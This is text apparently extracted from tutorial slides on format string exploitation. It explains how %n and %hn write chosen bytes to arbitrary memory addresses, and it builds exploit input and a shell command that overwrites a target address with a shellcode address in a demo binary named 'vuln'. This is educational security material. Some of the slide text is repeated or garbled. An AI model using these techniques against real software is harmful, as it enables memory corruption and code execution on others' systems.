
  

How to write at any arbitrary 
memory address
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Overwriting memory address using %n & %hn

%hn
Writes 2 bytes at 
a time

2 byte

%n
Writes 1 byte at a 
time

1 byte

write

write
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Addressing concept

0x080496c0 0xDDCCBBAA

0x080496c0

ADDRESS VALUE

0xAA

0x080496c1 0xBB

0x080496c2 0xCC

0x080496c3 0xDD

ADDRESS VALUE
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Single byte writing using %n

0x080496c0 0xDDCCBBAA

0x080496c0

ADDRESS VALUE

0xAA

0x080496c1 0xBB

0x080496c2 0xCC

0x080496c3 0xDD

ADDRESS VALUE

%n

%n

%n

%n

https://t.me/learningnets



  

Single byte writing using %n

0x080496c0 0xDDCCBBAA

0x080496c0

ADDRESS VALUE

0x080496c1 0x080496c2 0x080496c3JUNK JUNK JUNK

4 BYTE 4 BYTE 4 BYTE

4 BYTE 4 BYTE 4 BYTE 4 BYTE

Crafting exploit input:
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Single byte writing using %n

0x080496c0 0xDDCCBBAA

0x080496c0

ADDRESS VALUE

0x080496c1 0x080496c2 0x080496c3JUNK JUNK JUNK

4 BYTE 4 BYTE 4 BYTE

4 BYTE 4 BYTE 4 BYTE 4 BYTE

Crafting input:

0xAA 0xBB 0xCC 0xDD
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Single byte writing using %n

0x080496c0 0xDDCCBBAA

0x080496c0

ADDRESS VALUE

0x080496c1 0x080496c2 0x080496c3JUNK JUNK JUNK

4 BYTE 4 BYTE 4 BYTE

4 BYTE4 BYTE4 BYTE4 BYTE

%x%x%x%x+
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Single byte writing using %n

0x080496c0 0xDDCCBBAA

0x080496c0

ADDRESS VALUE

0x080496c1 0x080496c2 0x080496c3JUNK JUNK JUNK

4 BYTE 4 BYTE 4 BYTE

4 BYTE4 BYTE4 BYTE4 BYTE

%x%x%x%n+

0xAA
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Single byte writing using %n

0x080496c0 0xDDCCBBAA

0x080496c0

ADDRESS VALUE

0x080496c1 0x080496c2 0x080496c3JUNK JUNK JUNK

4 BYTE 4 BYTE 4 BYTE

4 BYTE4 BYTE4 BYTE4 BYTE

%x%x%x%n%x%n+

0xAA 0xBB
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Single byte writing using %n

0x080496c0 0xDDCCBBAA

0x080496c0

ADDRESS VALUE

0x080496c1 0x080496c2 0x080496c3JUNK JUNK JUNK

4 BYTE 4 BYTE 4 BYTE

4 BYTE4 BYTE4 BYTE4 BYTE

%x%x%x%n%x%n%x%n+

0xAA 0xBB 0xCC
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Single byte writing using %n

0x080496c0 0xDDCCBBAA

0x080496c0

ADDRESS VALUE

0x080496c1 0x080496c2 0x080496c3JUNK JUNK JUNK

4 BYTE 4 BYTE 4 BYTE

4 BYTE4 BYTE4 BYTE4 BYTE

%x%x%x%n%x%n%x%n%x%n+

0xAA 0xBB 0xCC 0xDD
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Two bytes writing using %hn

0x080496c0 0x12ABCDEF

0x080496c0

ADDRESS VALUE

0xEF

0x080496c1 0xCD

0x080496c2 0xAB

0x080496c3 0x12

ADDRESS VALUE

%hn

%hn
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Addressing concept

0x080496c0 0x12ABCDEF

0x080496c0

ADDRESS VALUE

0xEF

0x080496c1 0xCD

0x080496c2 0xAB

0x080496c3 0x12

ADDRESS VALUE

%hn

%hn
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Addressing Concept

0x080496c0 0x12ABCDEF

0x080496c0

ADDRESS VALUE

0xAA

0x080496c1 0xBB

0x080496c2 0xCC

0x080496c3 0xDD

ADDRESS VALUE

%hn

%hn

0x080496c0

0x080496c2

0xDDCCBBAA

0xBBAA

0xDDCC
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Single byte writing using %hn

0x080496c0 0xDDCCBBAA

0x080496c2

ADDRESS VALUE

0x080496c0

Crafting exploit input:

0xBBAA

+ %x%4$hn
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Single byte writing using %hn

0x080496c0 0xDDCCBBAA

0x080496c2

ADDRESS VALUE

0x080496c0

Crafting exploit input:

0xBBAA 0xDDCC

+ %x%4$hn  %x%5$hn
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Addressing Concept

0x080496c0 0x12ABCDEF

0x080496c0

ADDRESS VAL
UE
0xEF

0x080496c1 0xCD

0x080496c2 0xAB

0x080496c3 0x12

ADDRESS VALUE

%hn 0x080496c0

0x080496c2

Exploit code:

user@linux$ ./vuln  $(printf “ 0x080496c2 0x080496c0 ++ % width x +

%4\$hn + % width x %5\$hn+

%hn

)
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Addressing Concept

0x080496c0 0x12ABCDEF

0x080496c0

ADDRESS VAL
UE
0xEF

0x080496c1 0xCD

0x080496c2 0xAB

0x080496c3 0x12

ADDRESS VALUE

0x080496c0

0x080496c2

Exploit code:

user@linux$ ./vuln  $(printf “ 0x080496c2 0x080496c0 ++ % width x +

%4\$hn + % width x %5\$hn+

0x080496c2 0x080496c0 ++ % width x + %4\$hn + % width x %5\$hn+

%hn

%hn

Pattern-->
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0x080496c2 0x080496c0 ++ % width x + %4\$hn + % width x %5\$hn+Pattern-->
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Exploit concept

Address location to 
write 0x080496c0

0x080496c0

0x080496c2

1

2

1st 2 byte write

0xbffffde5
Shellcode 
address:

bfff

fdef5
2nd 2 byte write

We need 2 things: 

1. address location to write
2. shellcode address
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Exploit concept

Address location to 
write 0x080496c0

0x080496c0

0x080496c2

1

2

1st 2 byte write

0xbffffde5
Shellcode 
address:

bfff

fdef5
2nd 2 byte write

We need 2 things: 

1. address location to write
2. shellcode address
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Exploit concept

Linux$ ./format2 [0x..........0x..........]%x%hn%x%hn

Address location to 
write 0x080496c0

0x080496c0

0x080496c2

1

2

12

1st 2 byte write

0xbffffde5
Shellcode 
address:

bfff

fdef5
2nd 2 byte write

We need 2 things: 

1. address location to write
2. shellcode address
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